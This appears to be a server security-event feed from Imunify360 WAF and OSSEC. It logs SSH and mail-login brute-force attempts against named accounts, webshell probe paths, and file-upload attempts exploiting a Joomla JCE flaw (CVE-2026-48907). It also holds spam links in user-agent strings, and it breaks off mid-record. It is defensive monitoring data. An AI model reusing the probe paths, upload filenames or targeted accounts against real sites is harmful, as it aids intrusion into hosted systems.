abuser: 98.159.37.93
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/ogocindia/public_html/index.php||User:ogocindia||WPU:||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 216.24.210.155
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||User:globalgroupoman||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-06 13:20:31 dovecot_login authenticator failed for H=([27.123.98.22]) [14.40.114.86]:36924: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-07-06 13:22:21 dovecot_login authenticator failed for H=([220.189.253.198]) [122.160.85.144]:34167: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.197.168
country_id: 2661886
description:
2026-07-06 13:23:06 dovecot_login authenticator failed for H=h-176-10-197-168.a444.priv.bahnhof.se (191.34.253.17.dynamic.adsl.gvt.net.br) [176.10.197.168]:48748: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.248.218
country_id: 6252001
description:
2026-07-06 13:23:19 dovecot_login authenticator failed for H=(89-233-203-159.cust.bredband2.com) [24.105.248.218]:57328: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/assets/images/doc.php||SC:/home/kallanigroup/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.224.252
country_id: 1835841
description:
2026-07-06 13:22:55 dovecot_login authenticator failed for H=([118.123.116.93]) [125.143.224.252]:36197: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-06 13:24:06 dovecot_login authenticator failed for H=([45.177.210.193]) [65.20.205.197]:58225: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-06 13:24:53 dovecot_login authenticator failed for H=([2.55.126.88]) [210.123.87.143]:48370: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.148.106.182
country_id: 1835841
description:
Jul  6 13:28:43 vps sshd[1032576]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.148.106.182


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.33.40.189
country_id: 1835841
description:
Jul  6 13:28:59 vps sshd[1032632]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.33.40.189


plugin: modsec
rule: 77469916
abuser: 1.54.149.212
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.php4||RSV:8.25||T:APACHE||


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.33.40.189
country_id: 1835841
description:
Jul  6 13:28:59 vps sshd[1032632]: pam_imunify(sshd:auth): [IM360_RBL] The IP 211.33.40.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-06 13:30:02 dovecot_login authenticator failed for H=([110.185.173.167]) [65.20.174.49]:59406: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-06 13:30:31 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [182.95.181.166]:34200: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 112.169.8.251
country_id: 1835841
description:
Jul  6 13:29:56 vps sshd[1033371]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.169.8.251


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.34.23
country_id: 1835841
description:
2026-07-06 13:31:29 dovecot_login authenticator failed for H=([142.54.235.12]) [222.116.34.23]:53577: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-06 13:31:55 dovecot_login authenticator failed for H=([113.53.251.101]) [117.250.250.2]:38008: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 59.30.138.58
country_id: 1835841
description:
Jul  6 13:34:31 vps sshd[1034978]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.30.138.58


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.150.250.86
country_id: 1835841
description:
Jul  6 13:33:39 vps sshd[1034760]: pam_imunify(sshd:auth): [IM360_RBL] The IP 59.150.250.86 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 59.150.250.86
country_id: 1835841
description:
Jul  6 13:33:39 vps sshd[1034760]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.150.250.86


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.30.138.58
country_id: 1835841
description:
Jul  6 13:34:31 vps sshd[1034978]: pam_imunify(sshd:auth): [IM360_RBL] The IP 59.30.138.58 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 59.30.138.58
country_id: 1835841
description:
Jul  6 13:34:33 vps sshd[1034978]: Failed password for invalid user orchids from 59.30.138.58 port 58496 ssh2


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.233.20
country_id: 1835841
description:
Jul  6 13:34:45 vps sshd[1035009]: pam_imunify(sshd:auth): [IM360_RBL] The IP 125.141.233.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.148.106.182
country_id: 1835841
description:
Jul  6 13:35:19 vps sshd[1035130]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.148.106.182


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.197.62.36
country_id: 1835841
description:
Jul  6 13:35:28 vps sshd[1035146]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.197.62.36


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.197.62.36
country_id: 1835841
description:
Jul  6 13:35:28 vps sshd[1035146]: pam_imunify(sshd:auth): [IM360_RBL] The IP 211.197.62.36 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 125.141.233.20
country_id: 1835841
description:
Jul  6 13:34:45 vps sshd[1035009]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.141.233.20


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 221.147.160.73
country_id: 1835841
description:
Jul  6 13:35:06 vps sshd[1035092]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.147.160.73


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.147.160.73
country_id: 1835841
description:
Jul  6 13:35:06 vps sshd[1035092]: pam_imunify(sshd:auth): [IM360_RBL] The IP 221.147.160.73 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 112.220.228.194
country_id: 1835841
description:
Jul  6 13:35:10 vps sshd[1035113]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.220.228.194


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:35:49 vps sshd[1035175]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.204.167.14


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.197.62.36
country_id: 1835841
description:
Jul  6 13:35:52 vps sshd[1035187]: pam_imunify(sshd:auth): [IM360_RBL] The IP 211.197.62.36 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.197.62.36
country_id: 1835841
description:
Jul  6 13:35:52 vps sshd[1035187]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.197.62.36


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.148.106.182
country_id: 1835841
description:
Jul  6 13:36:10 vps sshd[1035240]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.148.106.182


plugin: modsec
rule: 77469916
abuser: 103.146.203.114
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.php5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:35:49 vps sshd[1035175]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.204.167.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.86.112.106
country_id: 3625428
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/11/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-06 13:37:23 dovecot_login authenticator failed for H=([213.101.138.172]) [172.191.74.151]:59480: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: modsec
rule: 77469916
abuser: 103.146.203.114
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:index.php6||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.208.63
country_id: 1835841
description:
2026-07-06 13:37:46 dovecot_login authenticator failed for H=([210.22.149.155]) [182.31.208.63]:50023: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-06 13:37:48 dovecot_login authenticator failed for H=([202.212.191.16]) [1.250.67.114]:57368: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:37:44 vps sshd[1035395]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.204.167.14 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:37:44 vps sshd[1035395]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.204.167.14


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-06 13:38:45 dovecot_login authenticator failed for H=([190.57.233.133]) [120.29.140.188]:36803: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.180.133.176
country_id: 1835841
description:
Jul  6 13:39:03 vps sshd[1035428]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.180.133.176


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.167.146.157
country_id: 1835841
description:
Jul  6 13:39:55 vps sshd[1035925]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.167.146.157


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:41:03 vps sshd[1036097]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.204.167.14


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:41:05 vps sshd[1036097]: Failed password for invalid user mallrat from 103.204.167.14 port 34849 ssh2


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.205.171.1
country_id: 290557
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/ship-supply-and-services/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.167.146.157
country_id: 1835841
description:
Jul  6 13:40:41 vps sshd[1036064]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.167.146.157


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:41:03 vps sshd[1036097]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.204.167.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-06 13:41:43 dovecot_login authenticator failed for H=(fabfibernet.com) [65.20.205.197]:39713: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.251.22.198
country_id: 1269750
description:
2026-07-06 13:48:35 dovecot_login authenticator failed for H=([189.59.210.1]) [117.251.22.198]:37169: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.5.124
country_id: 1269750
description:
2026-07-06 13:48:53 dovecot_login authenticator failed for H=([111.70.29.128]) [103.181.5.124]:35660: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-06 13:49:11 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([49.124.153.31]) [111.70.11.38]:57581: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.39
country_id: 1733045
description:
2026-07-06 13:51:23 dovecot_login authenticator failed for H=(95-165-159-70.static.spd-mgts.ru) [49.124.151.39]:52842: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-06 13:59:15 dovecot_login authenticator failed for H=([179.184.85.167]) [65.20.153.146]:41271: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-07-06 13:58:52 dovecot_login authenticator failed for H=(189-56-31-177.customer.tdatabrasil.net.br) [122.160.85.144]:40778: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.107.240.94
country_id: 1210997
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/ship-chandlers-fresh-frozen-provision-boned-stores-suppliers/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 216.173.80.60
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://amarnathhelicopter.wixsite.com/vaishnodeviheliyatra/post/what-are-the-latest-vaishno-devi-helicopter-timings-in-may-2026\">Vaishnodevihelicopterticketprice.com booking</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-06 14:03:01 dovecot_login authenticator failed for H=(110-174-154-152.tpgi.com.au) [122.176.21.104]:51960: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.132.209.110
country_id: 6252001
description:
2026-07-06 14:03:47 dovecot_login authenticator failed for H=([70.166.167.49]) [47.132.209.110]:65291: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-06 14:05:34 dovecot_login authenticator failed for H=([182.95.27.140]) [140.130.98.240]:51396: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-06 14:05:48 dovecot_login authenticator failed for H=([174.64.199.85]) [222.120.63.29]:54329: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-06 14:14:29 dovecot_login authenticator failed for H=(104-2-88-64.lightspeed.miamfl.sbcglobal.net) [117.205.2.250]:42126: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-06 14:14:45 dovecot_login authenticator failed for H=([192.34.164.13]) [169.211.232.182]:43904: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.136.123.102
country_id: 6251999
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/ HTTP/1.0||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.255.83.8
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.padel5000.com/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.115
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcebvonobiz.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 103.204.167.14
country_id: 1269750
description:
Jul  6 13:35:51 vps sshd[1035175]: Failed password for invalid user chirpy from 103.204.167.14 port 50241 ssh2


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 121.180.133.176
country_id: 1835841
description:
Jul  6 13:39:05 vps sshd[1035428]: Failed password for invalid user bardol from 121.180.133.176 port 58339 ssh2


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-06 14:03:30 dovecot_login authenticator failed for H=([121.179.93.147]) [122.176.21.104]:52812: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 139.64.167.210
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce0t3yjacc.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-06 14:32:05 dovecot_login authenticator failed for H=([220.93.209.152]) [65.20.202.4]:54916: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-06 14:32:23 dovecot_login authenticator failed for H=([182.78.199.185]) [64.53.7.231]:53456: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.235
country_id: 1668284
description:
2026-07-06 14:42:46 dovecot_login authenticator failed for H=111-70-9-235.emome-ip.hinet.net (mail.koffy.finance) [111.70.9.235]:58076: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-06 14:43:00 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([202.148.56.245]) [96.30.129.156]:47186: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 54.188.222.234
country_id: 6252001
description:
2026-07-06 14:44:01 dovecot_login authenticator failed for H=ec2-54-188-222-234.us-west-2.compute.amazonaws.com (45e29f0209ead689297272bc07cc7cac-1890622061.us-west-2.elb.amazonaws.com) [54.188.222.234]:49534: 535 Incorrect authentication data (set_id=richard.smith@stcinemas.co)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-06 14:45:23 dovecot_login authenticator failed for H=([193.46.192.20]) [65.20.146.109]:59397: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-06 14:45:47 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net (49.206.201.253.actcorp.in) [110.25.109.52]:34196: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.120.209
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:216.173.120.209||TA:216.173.120.209||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.2.182
country_id: 1668284
description:
2026-07-06 14:48:10 dovecot_login authenticator failed for H=([128.185.187.2]) [101.13.2.182]:42374: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-06 14:48:19 dovecot_login authenticator failed for H=(21-247-201-46.ip.ukrtel.net) [65.20.233.110]:60100: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.90.100.233
country_id: 2328926
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pasystems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-06 14:47:42 dovecot_login authenticator failed for H=([176.119.132.230]) [78.197.6.173]:57802: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-06 14:47:48 dovecot_login authenticator failed for H=([119.192.210.110]) [197.219.210.86]:41536: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-06 14:52:10 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [196.189.59.226]:50838: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-06 14:52:34 dovecot_login authenticator failed for H=([67.201.39.9]) [103.168.241.32]:42535: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.19.169.57
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-06 14:57:08 dovecot_login authenticator failed for H=([49.124.155.189]) [193.114.134.130]:60103: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-06 14:57:34 dovecot_login authenticator failed for H=([85.35.177.182]) [182.66.213.59]:58420: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-06 15:03:33 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([49.124.151.71]) [111.70.33.194]:56866: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-06 15:03:57 dovecot_login authenticator failed for H=([50.223.176.171]) [59.6.72.106]:14648: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-06 15:05:04 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [103.168.57.31]:33848: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-06 15:05:28 dovecot_login authenticator failed for H=([196.190.43.162]) [162.251.93.214]:40448: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://clipxvk.com/video-tag/%E0%B8%AB%E0%B8%A5%E0%B8%B8%E0%B8%94-vk/\">CLIPXVK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-06 15:08:50 dovecot_login authenticator failed for H=([192.111.134.12]) [196.28.226.125]:54787: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-06 15:09:12 dovecot_login authenticator failed for H=([122.185.199.113]) [119.192.219.77]:60680: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-06 15:10:03 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([27.24.141.112]) [68.7.114.69]:40533: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-06 15:10:23 dovecot_login authenticator failed for H=([202.138.229.190]) [41.128.181.196]:49150: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-06 15:10:37 dovecot_login authenticator failed for H=([101.13.5.195]) [207.188.158.216]:60463: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-06 15:12:28 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net ([117.244.16.6]) [110.25.110.136]:57629: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
